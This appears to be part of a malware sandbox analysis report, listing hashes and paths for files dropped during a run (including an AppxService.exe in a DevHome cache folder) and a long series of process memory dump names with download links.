SSDEEP 49152:eQS4px3ejtnWQ7FDPdom/ugAbNlEY3bEAoD3kP/vx8u2DVUGsY8TZ9l6W7tQLgg7:W4px4sQRtAb7EuAATqfkPR1Cu
TLSH
T19126AD4FE178351FC09A993496C8A5D45FAEE48BE66ECCD02344F92221E3913A75D3EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AppxService.exe

Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.DevHome_0wekyb1c8bbwe\cache\AppxService.exe
Size 3.5MB
SHA256 ca417e2fc42eaf7902112b8e221c9d669375385c741e776ca29f7192549b9b5e
MD5 456376c3291979b7b1f7d6d8414dc84f
SHA1 857be232c3034d4118ade9762b62e4e165a8ceca
SHA512 fe146b8903a03456cbaf720b9291e973edc86ccb074ecc35e2311cb9c7321dbf0f386144b426984ed3635ad432692ab36d87e3ba30b7586387195a4e71ce465d
SSDEEP 98304:W4px0t7A3RhVZsa0d1EO3J6A2Tsd2bfRCCMEH3E5:Mt8Ds9dqO3Q/Tsd+jMEXE
TLSH
T1EB06229EF9A02D38E996D1B41686C6F366D2B9564221257E3BE423F01D0FEDC0F18739
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_10ilcbni.3at.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10ilcbni.3at.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2428-16-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-9-0x00007FFDAF6AF000-0x00007FFDAF6B0000-memory.dmp

Download

memory/2428-13-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-14-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-12-0x0000023171750000-0x0000023171772000-memory.dmp

Download

memory/2428-15-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-56-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-17-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-18-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/2428-19-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp

Download

memory/3032-126-0x00007FF6F0650000-0x00007FF6F09DD000-memory.dmp

Download

memory/3032-0-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-1-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-3-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-8-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-85-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-78-0x00007FF6F0650000-0x00007FF6F09DD000-memory.dmp

Download

memory/3032-2-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-5-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-4-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-7-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/3032-6-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-29-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-84-0x00007FF6B94E0000-0x00007FF6B986D000-memory.dmp

Download

memory/4652-21-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-127-0x00007FF6B94E0000-0x00007FF6B986D000-memory.dmp

Download

memory/4652-25-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-22-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-23-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-24-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-26-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-27-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-98-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4652-28-0x0000000140000000-0x0000000140350000-memory.dmp

Download

memory/4684-40-0x00000173ECB10000-0x00000173ECB2E000-memory.dmp

Download

memory/4684-41-0x00000173ECB30000-0x00000173ECBE2000-memory.dmp

Download

memory/4684-42-0x00000173ECBF0000-0x00000173ECBFA000-memory.dmp

Download

memory/5848-54-0x000001D5B4780000-0x000001D5B479E000-memory.dmp

Download